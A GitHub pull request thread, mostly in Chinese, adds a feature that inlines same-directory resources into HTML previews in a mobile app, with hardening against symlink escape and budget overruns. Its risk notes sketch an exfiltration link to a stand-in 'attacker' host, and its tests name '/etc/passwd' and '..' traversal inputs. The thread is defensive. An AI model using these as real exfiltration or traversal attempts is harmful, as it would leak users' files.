feat(mobile): HTML 渲染态透传同目录资源,多文件产物不再缺图缺样式(重开 #1455) - #1618
Conversation
重新落地 makecindy#1455。原 PR 堆叠在 makecindy#1441 的分支上,makecindy#1441 于 2026-08-03 19:00 squash 合并 并删除 base 分支,GitHub 因此把 makecindy#1455 自动关闭(同一分钟),功能并未交付。本分支把 makecindy#1455 的净 delta(16 文件 / +2092 / -39)原样应用到含 makecindy#1441 的最新 main 上,内容与 关闭前的 head 330d2e5 一致,11 轮 review 的修复全部保留。 能力:手机端预览 HTML 产物时,把同目录下被引用的 img / css / js / 字体等资源按需取回 并内联成 data: URI,多文件产物不再缺图缺样式。取件受「同目录子树 + MIME 白名单 + 单资源 2 MiB / 整页 8 MiB 预算」三重约束,失败一律 fail-closed(个别资源不内联, 不改写文档结构)。 不动 runtime fingerprint:只改 apps/mobile 的 src/app 下 TS 与 i18n JSON,不碰 app.json / app.config.js / eas.json / apps/mobile/package.json / plugins / modules, 可走 OTA 热更,无冷更边界。 验证: - apps/mobile 相关四个测试文件 145 passed (htmlLocalResources 79 / htmlPreviewCsp 27 / filePreviewPagerWiring 25 / remoteMedia 14) - pnpm --filter mobile typecheck 通过 - pnpm --filter desktop typecheck 通过 遗留(与关闭前一致,见 PR 正文首段):软链可绕过「同目录」约束这条 D 档仍待 owner 确认,正确修法在被控端做 realpath 包含判定,属跨端接口 + 权限边界,未在本 PR 动手。 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com>
|
| Filename | Overview |
|---|---|
| apps/mobile/src/session/htmlLocalResources.ts | 新增 HTML 相对资源识别、路径解析、MIME 白名单、RAWTEXT 跳过及安全回填逻辑。 |
| apps/mobile/src/session/useHtmlLocalResources.ts | 新增带共享预留的并发取件调度,当前实现避免并发请求共同突破整页预算。 |
| apps/mobile/app/files/preview/[sessionId].tsx | 将资源取件、data URI 转换、OSS 清理、加载提示与 HTML 预览生命周期接入页面。 |
| apps/desktop/src/main/device-link/mediaFetch.ts | 本地文件分支在上传前执行资源与基目录的 realpath 包含校验和大小限制。 |
| apps/desktop/src/main/file-browser/ssh-media.ts | SSH 分支增加大小限制和 baseDir 约束,但 baseDir 仍仅按词法路径判断,未完整封闭既有软链边界问题。 |
Sequence Diagram
sequenceDiagram
participant H as HTML 预览
participant M as 手机端资源调度
participant D as Desktop media:fetch
participant S as SSH 文件服务
H->>M: 相对资源引用
M->>D: absPath + baseDir + maxBytes
D->>D: 词法 baseDir 前缀检查
D->>S: stat/readFileChunk(relPath)
S->>S: realpath 校验 workdir 边界
S-->>D: 文件字节
D-->>M: OSS 地址
M->>M: 下载并转 data URI
M-->>H: 回填后的 HTML
Reviews (2): Last reviewed commit: "fix(mobile): 同目录约束与大小门禁改由被控端强制,并给整页预算加预留..." | Re-trigger Greptile
There was a problem hiding this comment.
Pull request overview
本 PR 为 mobile 侧 HTML 渲染态补齐“同目录资源透传”能力:在 WebView 渲染前识别 HTML 内的相对资源引用(含 <style> 与 style="" 内的 url()),将其换算为被控端绝对路径,复用既有 media:fetch 取回字节并转为 data: URI 回填,从而解决多文件产物在手机端“缺图缺样式”的问题,并补齐 SSH 会话取件上下文与资源回收等安全/资源治理细节。
Changes:
- 新增纯函数模块
htmlLocalResources+ hookuseHtmlLocalResources:负责引用收集、预算/并发编排、回填与状态汇报。 - 资源取件链路强化:资源不回填 presign URL、下载转
data:URI、并在失败路径也回收 OSS 对象;SSH 场景补齐 sessionId/remoteHostId/workdir,并将其纳入缓存键。 - UI 与测试:预览页增加取件占位与资源缺失/截断提示;新增/扩展多组单测与 i18n 文案。
Reviewed changes
Copilot reviewed 16 out of 16 changed files in this pull request and generated 3 comments.
Show a summary per file
| File | Description |
|---|---|
| apps/mobile/src/session/useHtmlLocalResources.ts | 新增 hook 与限并发/预算的批量取件编排,并回填 HTML 与上报失败/预算信息 |
| apps/mobile/src/session/remoteMediaDiskCacheExpo.ts | 新增下载后转 data: URI 的工具函数,供 HTML 资源内联使用 |
| apps/mobile/src/session/remoteMedia.ts | 为 resolveMobileRemoteMedia 增加 onOssKey 回调,支持 presign 失败等路径下的对象回收 |
| apps/mobile/src/session/remoteAbsFileFetch.ts | media:fetch 绝对路径取件支持 SSH 上下文并进缓存键;新增“一次性取件”以拿到 ossKey 且不进共享缓存 |
| apps/mobile/src/session/htmlLocalResources.ts | 新增资源引用识别/路径换算/MIME 白名单/RAWTEXT 跳过/回填/去重与上限规划等纯函数实现 |
| apps/mobile/src/session/fileBrowserGallery.ts | xdt-file://open URL 生成支持 SSH 上下文三项齐备校验与 query 拼接 |
| apps/mobile/src/i18n/locales/zh-CN/files.json | 增加 HTML 资源取件占位与缺失/截断/超预算提示文案 |
| apps/mobile/src/i18n/locales/ko/files.json | 同上(韩语) |
| apps/mobile/src/i18n/locales/ja/files.json | 同上(日语) |
| apps/mobile/src/i18n/locales/en/files.json | 同上(英语) |
| apps/mobile/src/tests/remoteMedia.test.ts | 增加 onOssKey 时序与“校验失败仍交出 key”等回归用例 |
| apps/mobile/src/tests/htmlPreviewCsp.test.ts | 增加资源取件安全接线守卫(data URI 回填、下载前 size gate、OSS 回收、SSH 上下文) |
| apps/mobile/src/tests/htmlLocalResources.test.ts | 覆盖路径换算、fail-closed 边界、RAWTEXT 跳过、预算/并发与回填等核心逻辑 |
| apps/mobile/src/tests/filePreviewPagerWiring.test.ts | 扩展预览页接线守卫:资源透传链路、提示语、WebView 挂载/滑动让路条件等 |
| apps/mobile/app/files/preview/[sessionId].tsx | 预览页集成资源透传:计算 baseDir、取件与回填、loading 占位、notice 提示、OSS 回收与 SSH 上下文传递 |
| apps/desktop/src/main/file-browser/ssh-media.ts | SSH 文件服务 MIME 白名单补齐(css/js/fonts 等),保证 SSH 预览同目录资源能被正确服务 |
Suppressed comments (1)
apps/mobile/src/session/htmlLocalResources.ts:268
- htmlBaseDirOf 在 Windows 盘符根目录场景会返回 "C:" 之前的 "C:"(缺少分隔符),例如
C:\a.html会得到C:,导致后续 isWindowsAbsPath 判定失败并把路径当成 POSIX 拼接,进而让同目录资源定位错误。建议对C:\a.html/C:/a.html这类 drive root 单独保住根形态。
export function htmlBaseDirOf(htmlAbsPath: string): string {
const lastSep = Math.max(htmlAbsPath.lastIndexOf('/'), htmlAbsPath.lastIndexOf('\\'));
if (lastSep < 0) return '';
if (lastSep === 0) return '/'; // `/a.html` → 根目录
return htmlAbsPath.slice(0, lastSep);
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: fcd8ebaf88
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
|
@zqchris 👋 这个 PR 还有 6 条 review conversation 没 resolve(apps/mobile/src/session/remoteAbsFileFetch.ts / apps/mobile/src/session/htmlLocalResources.ts / apps/mobile/src/session/useHtmlLocalResources.ts / apps/mobile/app/files/preview/[sessionId].tsx),auto-review 因此暂时跳过、没法继续审查 / 合并。 如果你已经按评论改完或回应了,请到对应 thread 上点 Resolve conversation;全部 resolve 后,下一轮 auto-review 会自动重新审查这个 PR。 |
一批 6 条 review 意见按根因分三组处理。 ① 软链绕过同目录边界(P1 security,Copilot + Greptile 同根因) 手机端只做词法 `..` 校验,那**只能保证词法子树**;产物目录里若有指向目录外的软链, 词法路径完全合法,而被控端 mediaFetch 在 realpath 后只比对全局敏感目录 blocklist —— blocklist 之外的用户文件会被取回、内联进不可信页面,再叠上已记录的 WebRTC 残留信道 即构成外传路径。 修法就是 review 指的那条:取件 URL 带 `baseDir`,被控端对**资源与 baseDir 各自 realpath 后**判定包含关系(按路径段比,不是字符串前缀)。两侧都 realpath 是必须的 —— 只 realpath 一侧时 `/tmp` → `/private/tmp` 这类平台软链会把合法资源误拒。 baseDir 解析不了一律拒绝(fail-closed)。SSH 分支在 materializeSshRemoteMedia 内按 workdir 相对路径做同一判定(远端 realpath 需要 file-service 未暴露的 RPC,这条限制 与既有 SSH 媒体边界同级,代码里写明了)。 ② 上传前大小门禁(P2) 原先只在手机侧按 `media.size` 拒,而那时被控端已经上传完 OSS(SSH 还先整份拉进 Desktop 磁盘缓存),流量与磁盘已经花掉。改为 URL 带 `maxBytes`,被控端在 stat 之后、 上传/拉取之前拒绝。手机侧那道判断**保留**:老被控端不认新参数(版本歪斜是 fail-open), size 缺失或谎报时也要兜住。 两个参数畸形一律抛错,不静默降级成"不约束"——否则约束可被畸形输入摘掉。 ③ 并发取件突破总量预算(P1) 旧实现只在取回**之后**结算,4 路并发会全部先进 fetchOne,手机同时持有约 4× 单资源 上限的字节,整页 8 MiB 预算形同虚设。改成预留制:开工前按「剩余预算 ÷ refCount」把 这一次的字节上限收窄并预留对应字符数,取回后按实际长度结算、立刻归还没用掉的部分。 收窄出来的上限就是 ② 里下发给被控端的 `maxBytes`,于是**在途**下载量也被总预算约束。 预算不足时不立刻判超预算而是等一次结算(在途预留随时会释放),否则并发满载那一刻 排到的资源会被误判成超预算;只有"没有在途、预算又确实不够"才是真耗尽。 换算函数 bytesForDataUriChars 刻意保守,保证预留恒不越总预算(已钉进用例)。 ④ SSH 缓存键与 URL 判定不一致(P2) 抽出 effectiveRemoteMediaSshContext,URL 构造与 fetchRemoteAbsFileToUrl 的缓存键共用 同一份「三项 trim 后非空」判定。原先缓存键只看 ssh 对象是否存在就无条件拼三个字段, 字段为空时 URL 已退化成不带 SSH 参数,键却被分叉 —— 同一次取件永远命不中缓存。 ⑤ 两处注释表述不准(P2/P3) htmlLocalResources 的「子树」改写成「词法子树」并点明真实边界在被控端;预算注释按 预留制的实际语义重写(「后续不再启动新的取件」)。 不动 runtime fingerprint:只改 apps/mobile 的 src/app 下 TS 与 apps/desktop main 侧, 没碰 app.json / app.config.js / eas.json / apps/mobile/package.json / plugins / modules。 验证: - pnpm --filter mobile test → 3205 passed(285 文件),含新增 6 个预算/收窄/换算用例 - pnpm --filter desktop exec vitest run src/main/device-link src/main/file-browser → 628 passed(36 文件),含新增 11 个 baseDir/maxBytes 用例(软链逃逸、兄弟目录前缀、 /tmp 软链不误拒、fail-closed、畸形参数、SSH 侧 stat 前拒绝) - pnpm --filter mobile typecheck / pnpm --filter desktop typecheck 均通过 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com>
`withLock > 不同 key 并行,耗时近似单次而非 N 倍` 断言 `elapsed < delay * 2.5`(20ms × 2.5 = 50ms)。三个 20ms sleep 串行是 60ms —— 阈值 离"串行"只差 10ms,等于拿调度抖动当被测行为。Windows CI 两分片并跑时实测 52ms, 直接把 main 打红(makecindy#1618 的 client-ci 就是被这条挡下的,与它的 diff 毫无关系)。 改成直接量"并行"本身:记每个临界区的进入 / 离开时刻,断言 `max(进入) < min(离开)` —— 存在一个瞬间三者同时在临界区内。串行执行下第二个的进入 必然晚于第一个的离开,这条一定不成立;而机器多慢都不影响它成立。 被测语义没变(不同 key 不互相串行),只是把判据从"跑得够快"换成"确实重叠"。 验证: `vitest run src/main/skillhub/registry/__tests__/lock.test.ts` 5 passed。 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com>
There was a problem hiding this comment.
Pull request overview
Copilot reviewed 19 out of 19 changed files in this pull request and generated no new comments.
Suppressed comments (2)
apps/desktop/src/main/device-link/mediaFetch.ts:189
- parsePathMediaConstraints 里对 baseDir 使用了
path.resolve(rawBaseDir)。当被控端运行在 Windows、但 URL 携带的是 SSH 远端的 POSIX 路径(如/home/u/proj/out)时,win32 的 resolve 会把它变成C:\\home\\u\\proj\\out,随后 materializeSshRemoteMedia 的 toWorkdirRelPosix 会判 baseDir 不在 workdir 内,导致 SSH 会话下的 HTML 资源取件被误拒。建议这里不要做平台相关的 resolve,仅做 trim + 绝对形态校验,把规范化留给后续 realpath(本机分支)或 SSH 分支的 posix 逻辑。
let baseDir: string | null = null;
if (rawBaseDir !== null) {
if (!rawBaseDir.trim()) throw new Error('媒体 baseDir 不能为空');
if (!(rawBaseDir.startsWith('/') || WIN_ABS_RE.test(rawBaseDir))) {
throw new Error('媒体 baseDir 必须为绝对路径');
}
baseDir = path.resolve(rawBaseDir);
}
apps/mobile/src/session/htmlLocalResources.ts:301
- htmlBaseDirOf 在 Windows 盘符根目录场景会返回
C:而不是C:\\/C:/:例如C:\\a.html的 lastSep=2 时 slice(0,lastSep) 会丢掉分隔符,导致后续 isWindowsAbsPath 判定失败、baseDir 约束参数也会被 mediaFetch 判为“非绝对路径”。建议对 drive root 特判,保留分隔符。
export function htmlBaseDirOf(htmlAbsPath: string): string {
const lastSep = Math.max(htmlAbsPath.lastIndexOf('/'), htmlAbsPath.lastIndexOf('\\'));
if (lastSep < 0) return '';
if (lastSep === 0) return '/'; // `/a.html` → 根目录
return htmlAbsPath.slice(0, lastSep);
同一根因的第三、四条(前两条见本 PR 前两个 commit)。 ① `packages/device-link` client.test.ts —— `getToken 挂起超过 getTokenTimeoutMs → 走 退避重连,不永久卡在 connecting` 用固定 `await tick(30)` 赌「10ms getToken 超时 + ≤5ms 退避 + 第二轮 getToken 都能在 30ms 内跑完」。Windows 两分片并跑时 socket 还没建出来 → `expected 1, received 0` (实测 makecindy#1616 的 client-ci)。改成与同文件其它用例一致的有界等待,断言语义不变。 ② `packages/maker-core` contacts/manager.test.ts —— `Test timed out in 5000ms` 这条**不是**墙钟断言,是纯正确性用例被默认超时判死。该文件每个用例都在 os.tmpdir() 里真开 better-sqlite3 落库(建目录 → 建表 → v1→v2 迁移 → FTS5 重建 → 删目录), Windows CI 两分片并跑、叠上 Defender 对新建文件的实时扫描,这些**同步** IO 会超过 vitest 默认的 5s。实测 makecindy#1618 的 client-ci 就是被它挡下的(makecindy#1618 的 diff 只碰 mobile HTML 预览,与 contacts 毫无关系);此前值班日志也记过同一文件 4 个用例同时 5s 超时。 packages/maker-core 没有自己的 vitest 配置,拿不到 apps/desktop 那份 `testTimeout: win32 ? 20_000 : 5_000`,所以按仓内既有写法(git-integration 系列用例的 `vi.setConfig`)在该文件单独放宽到 win32 30s。**只放宽时间,不放宽任何断言** —— 它测的是迁移正确性,从来不是"迁移够快"。 验证: - `pnpm --filter @cindy/device-link exec vitest run src/__tests__/client.test.ts` → 100 passed - `pnpm --filter @cindy/maker-core exec vitest run src/contacts` → 122 passed(6 文件) - `pnpm --filter desktop exec vitest run src/main/skillhub` → 281 passed(24 文件) - @cindy/device-link / @cindy/maker-core / desktop 三个 package 的 typecheck 均通过 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com>
|
本轮 CI 红灯不在本 PR 范围内,记录一下判定过程,免得下一轮再被同一条挡住。 失败点: 本 PR 的 diff 只有 上一轮挡下本 PR 的 修复在 #1616,那个 PR 现在收了四条同类用例(device-link 两条、skillhub 一条、maker-core contacts 一条),纯测试改动 所以本 PR 的推进顺序是:#1616 先合进 main → 本 PR merge main(或重跑)→ CI 绿。本 PR 侧 0 条未 resolve、Greptile / DCO / verify / Desktop Git integration / shard(1/2) 全绿,没有待办。 |
MagicLizi
left a comment
There was a problem hiding this comment.
自动审查通过(heavy 档)。
安全扫描:无凭证泄露、无恶意代码、无后门。三层防御(词法校验 → realpath 包含 → stat 预检)设计合理。
代码质量:19 文件 / 2793 行变更,架构遵循仓库模式(纯函数模块 + hook 编排 + 复用 media:fetch 通道)。测试覆盖充分(864 行新测试,含路径穿越、RAWTEXT 跳过、CSS 大小写、Windows 路径、SVG fragment、预算与并发)。
P2 建议(不阻断):
htmlLocalResources.ts:577— style block body offset 空串边界情况(无实际影响)htmlLocalResources.ts:552— findCssUrlRefs 的 indexOf 理论上在重复子串时可能偏移(概率极低)useHtmlLocalResources.ts:189— presign 轮换会触发重取(cancellation 已正确处理)
注意:chatgpt-codex-connector 静默期已超时放行(等待 30.9min),其意见可能在合并后才到。
|
整套本地资源透传写得相当扎实——三层防御加上完善的预算控制,让「多文件产物在手机上不缺图」这个长期痛点终于闭合了。测试里那批 RAWTEXT 边界用例特别好,把五轮 review 积累的经验都钉住了。🛡️ |
* test(device-link): 握手超时用例改有界等待,修 main 上 Windows 单测红灯 `握手超时(open 后 hello-ack 一直不来)→ 强制断开走退避重连` 用固定 `await tick(50)` 等 15ms 握手看门狗 + 退避重连落地。Windows CI 两分片并跑时 事件循环调度远超名义毫秒数,50ms 内 watchdog 可能还没换连接,断言 `sockets.length >= 2` 拿到 1 → main HEAD (e931a57) 的 client-ci 红灯。 改成同文件已有的有界等待模式(与紧邻的「open 从未到来」用例一致): `for (let i = 0; i < 40 && h.sockets.length < 2; i++) await tick(10)`。 断言语义不变,只把"固定窗口"换成"等到发生或超时",上界 400ms。 纯测试改动,不动产品代码。 验证: `pnpm --filter @cindy/device-link test` 163 passed。 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com> * test(skillhub): 锁并行用例改断言临界区重叠,去掉墙钟阈值 `withLock > 不同 key 并行,耗时近似单次而非 N 倍` 断言 `elapsed < delay * 2.5`(20ms × 2.5 = 50ms)。三个 20ms sleep 串行是 60ms —— 阈值 离"串行"只差 10ms,等于拿调度抖动当被测行为。Windows CI 两分片并跑时实测 52ms, 直接把 main 打红(makecindy#1618 的 client-ci 就是被这条挡下的,与它的 diff 毫无关系)。 改成直接量"并行"本身:记每个临界区的进入 / 离开时刻,断言 `max(进入) < min(离开)` —— 存在一个瞬间三者同时在临界区内。串行执行下第二个的进入 必然晚于第一个的离开,这条一定不成立;而机器多慢都不影响它成立。 被测语义没变(不同 key 不互相串行),只是把判据从"跑得够快"换成"确实重叠"。 验证: `vitest run src/main/skillhub/registry/__tests__/lock.test.ts` 5 passed。 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com> * test: 再修两条把 main 打红的 Windows 计时型用例 同一根因的第三、四条(前两条见本 PR 前两个 commit)。 ① `packages/device-link` client.test.ts —— `getToken 挂起超过 getTokenTimeoutMs → 走 退避重连,不永久卡在 connecting` 用固定 `await tick(30)` 赌「10ms getToken 超时 + ≤5ms 退避 + 第二轮 getToken 都能在 30ms 内跑完」。Windows 两分片并跑时 socket 还没建出来 → `expected 1, received 0` (实测 makecindy#1616 的 client-ci)。改成与同文件其它用例一致的有界等待,断言语义不变。 ② `packages/maker-core` contacts/manager.test.ts —— `Test timed out in 5000ms` 这条**不是**墙钟断言,是纯正确性用例被默认超时判死。该文件每个用例都在 os.tmpdir() 里真开 better-sqlite3 落库(建目录 → 建表 → v1→v2 迁移 → FTS5 重建 → 删目录), Windows CI 两分片并跑、叠上 Defender 对新建文件的实时扫描,这些**同步** IO 会超过 vitest 默认的 5s。实测 makecindy#1618 的 client-ci 就是被它挡下的(makecindy#1618 的 diff 只碰 mobile HTML 预览,与 contacts 毫无关系);此前值班日志也记过同一文件 4 个用例同时 5s 超时。 packages/maker-core 没有自己的 vitest 配置,拿不到 apps/desktop 那份 `testTimeout: win32 ? 20_000 : 5_000`,所以按仓内既有写法(git-integration 系列用例的 `vi.setConfig`)在该文件单独放宽到 win32 30s。**只放宽时间,不放宽任何断言** —— 它测的是迁移正确性,从来不是"迁移够快"。 验证: - `pnpm --filter @cindy/device-link exec vitest run src/__tests__/client.test.ts` → 100 passed - `pnpm --filter @cindy/maker-core exec vitest run src/contacts` → 122 passed(6 文件) - `pnpm --filter desktop exec vitest run src/main/skillhub` → 281 passed(24 文件) - @cindy/device-link / @cindy/maker-core / desktop 三个 package 的 typecheck 均通过 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com> * test(device-link): 心跳僵死用例改有界等待(第五条打红 main 的计时型用例) `心跳:连续无 pong 超限 → terminate + 重连` 用固定 `await tick(40)` 赌「8ms ping 周期 × 2 轮都能在 40ms 内跑完」。刚合并的 main(0e1e791)的 client-ci 就是被它挡下的: `expected false to be true`(terminate 还没发生)。改成有界等待到 terminate 真的发生。 同时对整个 client.test.ts 做了一次清扫,结论记在 issue 里(见 PR 描述):全文件共 35 处 `await tick(>=10)`,其中约 15 处属本类(固定等待后断言"某事已发生",慢机器会假失败), 另有约 15 处是反向形态(等一段时间断言"某事没发生"),后者不能用轮询修 —— 它要求真实经过 的时间**小于**某个阈值,慢机器上等越久越危险,只能调被测时间参数,属另一件事。 本 PR 只收正在发作的那几条,不把整份清扫塞进来。 验证: `pnpm --filter @cindy/device-link test` → 163 passed(6 文件)。 Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com> --------- Signed-off-by: Chris <tkdv42k4mg@privaterelay.appleid.com> Signed-off-by: Chris <4436110+zqchris@users.noreply.github.com> Co-authored-by: Chris <4436110+zqchris@users.noreply.github.com>
* main: (39 commits) fix(desktop): preserve legacy plugin permission approvals (makecindy#1657) fix(im): 控制命令收归主人专属,群成员的 !stop / slash 不再生效 (makecindy#1658) fix(pi): 第一方 MCP 工具走 host 审批策略,与 Claude 的 auto-review 判定对齐 (makecindy#1639) test(desktop): validate Python probe execution (makecindy#1653) fix(plugin): 支持真实包权限变化后重新确认 (makecindy#1648) fix(desktop): sync pinned sessions to mobile (makecindy#1492) test: 五条把 main 打红的 Windows 计时型用例改成断言行为 (makecindy#1616) fix: 补齐任务列表导出菜单 (makecindy#1620) feat(mobile): HTML 渲染态透传同目录资源,多文件产物不再缺图缺样式(重开 makecindy#1455) (makecindy#1618) fix(device-link): 暴露待命状态并诊断不稳定连接 (makecindy#1611) fix(desktop): 修复 Claude Opus 套餐错误提示 (makecindy#1607) feat(hook-control): 官方 Telegram 卡消除配置重叠,并支持默认工作目录 (makecindy#1595) feat(pi): PI 子代理(只读画像),与 Claude / Codex 共用同一张子代理卡 (makecindy#1458) fix(desktop): 让原生分类器故障观察器的漏检在日志里可见 (makecindy#1588) fix: 把「审阅器不可用」与「模型判定危险」拆开,前者提示一次 (makecindy#1597) test(maker-core): 钉住 MCP fail-closed 闸绑定 resolver 而非界面 (makecindy#1587) feat(mobile): HTML 生成物在手机端进渲染态(WebView 离线沙箱) (makecindy#1441) feat(desktop): 统一 @ 资源引用与搜索 (makecindy#1557) feat(codex): 子代理卡补齐实时状态,与 Claude 子代理卡形态统一 (makecindy#1438) test(maker-core): 锁定 auto-review 送审用目录模型 id 而非 wire 串 (makecindy#1582) ...
这次改了什么
摘要
#1441 让手机端能渲染 agent 产出的 HTML,但只拿到 HTML 本身 —— 页面里
<img src="./chart.png">、<link href="assets/a.css">这类相对引用在 about:blank文档里解析不到,于是多文件产物「页面能开、图和样式全缺」。桌面端靠
file://的同目录天然没有这个问题,手机端得自己把资源取回来。
做法:把相对引用挑出来 → 换算成被控端绝对路径 → 逐个走既有的
media:fetch绝对路径取件通道拿 presign 地址 → 回填进 HTML,取完一次性渲染。
不新增 device-link channel、不新增安全面 —— 用的还是单文件预览已经在用的那条
通道(
fetchRemoteAbsFileToUrl,对 workdir 内外一视同仁)。这是刻意选的方案:另一条路(被控端 http 服务透传,让手机开
http://localhost:5173)需要新增代理转发通道,等于把被控端的本机网络位置借给手机,安全面是另一个量级,不在本 PR。
变更类型
feat新功能fix缺陷修复refactor/perf重构或性能优化docs/test/chore文档、测试或工程维护范围
channel + HTTP 代理转发,安全面显著扩大,须独立立项并过确认门。
url():要先取回 CSS 再递归解析它引用的字体/图片。本 PR 只处理同一份 HTML 文档内的引用(含
<style>块)。srcset(多候选 + 密度描述符,收益低于复杂度)。assets/的多文件 HTML 时,样式与图片会正常显示;取件期间显示占位;有资源取不到或超上限时顶部给一条如实提示。
UI 变化
资源提示条)全部复用同页既有 themed 组件与语义 token:占位用
centerFill+ActivityIndicator(colors.textTertiary)+hintText(与既有 PDF / 音视频取件占位同款),提示条直接复用截断横幅的
truncBar/truncText(surfaceChip/textSecondary)+Info图标。零新增颜色值、零硬编码。「未执行的验证」。
pnpm check:i18n-glossary通过。怎么验证的
自动验证
新增 32 个用例,集中在纯函数层(
apps/mobile/src/__tests__/htmlLocalResources.test.ts):.// 子目录 / 尾分隔符 baseDir / 查询串与片段剥离 /%20解码(含非法百分号不 throw)/ Windows 被控端反斜杠 join / 中文目录名。..段、根相对/assets/x.png、/etc/passwd、本机绝对
D:\…、https://、http://localhost:5173、data:、file://、协议相对//host、纯锚点、空 baseDir —— 一律不改写。<style>块的url()、无引号属性值;<a href>/data-src/img-wrapper不误收;区间精确指向属性值本身(不含引号)。属性混排、去重与上限(超出计入
skipped,不静默截断)。fetchHtmlResourceUrls):全成功 / 单个失败不影响其它 / 回空地址算失败 /并发不超上限且每路径只取一次 / 已取消后停止后续取件 / 空清单不发请求。
取件核心特意抽成纯异步函数就是为了能这样测 —— 本仓 mobile 没有 hook 测试设施,而为一个
测试给
apps/mobile/package.json加 devDependency 会动 runtime fingerprint、触发冷更(
docs/dev-rules/mobile-development.md冷更边界),代价不成比例。手工验证
端到端跑通了核心机制(不只是单测):造一份真实多文件产物 ——
index.html+assets/style.css(外链 CSS)+assets/logo.svg(<img>相对引用)+assets/dot.svg(
<style>块里的url())—— 用本 PR 的函数识别出 3 个资源、回填成可下载地址,把回填后的 HTML 单独放进一个没有
assets/兄弟目录的空目录,再交浏览器按 390px手机视口渲染。三项全部正常显示(蓝底白字圆角卡片 = 外链 CSS 生效;橙色圆点 =
<style>里的url()生效;绿色方块 =<img>相对引用生效)。渲染目录里没有任何资源文件,所以它们能显示只可能是回填的结果 —— 这正是要验的那一步。
未执行的验证
会话)。上面验证的是「识别 → 回填 → 浏览器能加载」这条链;真机上还要经
media:fetch取件与 presign 下载,那两段是 feat(mobile): HTML 生成物在手机端进渲染态(WebView 离线沙箱) #1441 之前就在跑的既有通道(图片 / PDF / 音视频共用)。
用户可执行的验证步骤:让 agent 在会话 workdir 里产出
index.html+assets/(含一张图和一份 CSS)→ 手机点开该 HTML → 应看到完整样式与图片;把图删掉再看,应显示破图 +
顶部「N 项页面资源没取到」提示。
的要求这不等于「双模式已验证」,如实记为未目检。
media:fetch上传 OSS。真机上一页引用几十张大图时的总耗时未实测。
风险
风险分类
按仓库规则「产品取舍归放行人」「同一根因反复被触碰时暂停局部补丁」交出,不在实现层单方面决定。
1. 惰性文本掩码层:删掉,还是换真 tokenizer?
maskInertHtmlText存在的唯一目的是「注释 / 脚本体 / 模板体里的伪引用不要占掉 32 项取件配额」。它已经被 review 连挖四轮,每轮一种新的误判形态:注释里的伪引用 →
<template>体 →属性值里的字面标签(
<div data-tpl="<template>">)与脚本字符串里的孤立<!--→ 跨两个脚本配对的
<!--/-->。根因是正则扫标签无法判别「<处在哪个 HTML 数据态里」,要根治得有真正的 tokenizer。补特例可以无限补下去。
两条路:
风险曾经是「正常页面静默全缺」(不可见)。四轮下来,后者已经大于前者。删掉后回到照原文扫,
行为可预测、代码更少。
apps/mobile的依赖是 runtime fingerprint输入,引入解析库会触发冷更门。
当前 head 的行为是安全的(未闭合标记一律不掩码,不会再让正常页面全缺),所以留到裁决为止没有
用户风险,只是仍存在上述误判。
2. 资源预算是单页的,不是屏级的
取件挂在
active上(父级把当前页 ±1 都置 active,文本预取需要它),而visible只管 WebView挂载。所以目录里有多个相邻 HTML 文件时,3 个
TextPreviewPage会各自跑一份 8 MiB / 4 并发,实际上限变成约 24 MiB / 12 并发。
visible门后:上限自然回到单页,但滑到 HTML 文件时才开始取资源 ——必然先看到一段 spinner,把现在预取消掉等待的体验退掉。
与取消语义(翻页后在途取件退还多少额度),属独立的状态设计。
风险已被压小的部分:单资源 2 MiB 上限在下载之前就按
media.size生效,所以倍增的是「总量与并发」,不是「单个对象可以多大」。
补充说明(勾「无已知风险」但请 reviewer 主动看这四点):
浏览器打开,现在只放行
about:(页内锚点)。原因是 review 挖出的一条真实外传路径 ——页面内联了从被控电脑取回的资源字节(
data:URI),而 CSP 必须允许内联脚本,于是作者脚本能把这些字节拼进一个真实
<a href="https://attacker/?d=…">,用户随手一点数据就发出去了;CSP 管不到顶层导航(
navigate-to已从 CSP3 移除),点击门只挡程序化导航。两点让代价比看起来小:① 这条能力本来只在 iOS 上存在(Android 不上报
navigationType,一直是拒绝),删掉是把两端对齐;② 与本 PR 已接受的取舍一致 ——CSP 已让公网图片/字体在预览里不加载,预览本就是离线的。
若产品上希望保留外链可点,正确做法是补一套「只放原文里字面存在的 URL」的静态
白名单 + URL 归一化,属独立设计;本 PR 按「宁可不放行」收窄。外链退路:工具栏
「分享」送到电脑打开,或切「源码」态自己看 URL。
不触发冷更。未碰
apps/mobile/package.json/app.json/app.config.js/eas.json/plugins//modules/任何一处,零新增依赖,改动全在 JS/TS 源码。不新增 device-link channel,取件通道与安全边界不变。资源取件复用
fetchRemoteAbsFileToUrl→media:fetch(xdt-file://open?path=<abs>),与单文件预览、聊天 chip 打开 workdir 外文件走的是同一条;
media:fetch本就不限 workdir,靠 device-link 三道 gate(被控开关 / 撤销黑名单 / channel 白名单)保证「等同本地
访问」的信任级。本 PR 没有放宽这层。
路径面 fail-closed,一个 HTML 拉不到它目录之外的东西。只改写相对引用,且含
..段一律拒绝 —— 引用只能落在 HTML 自己所在目录的子树内。根相对
/x(语义是 web root)与本机绝对
file:///…/D:\…(最该警惕的形态)都不改写,保持原样渲染成破图。放行
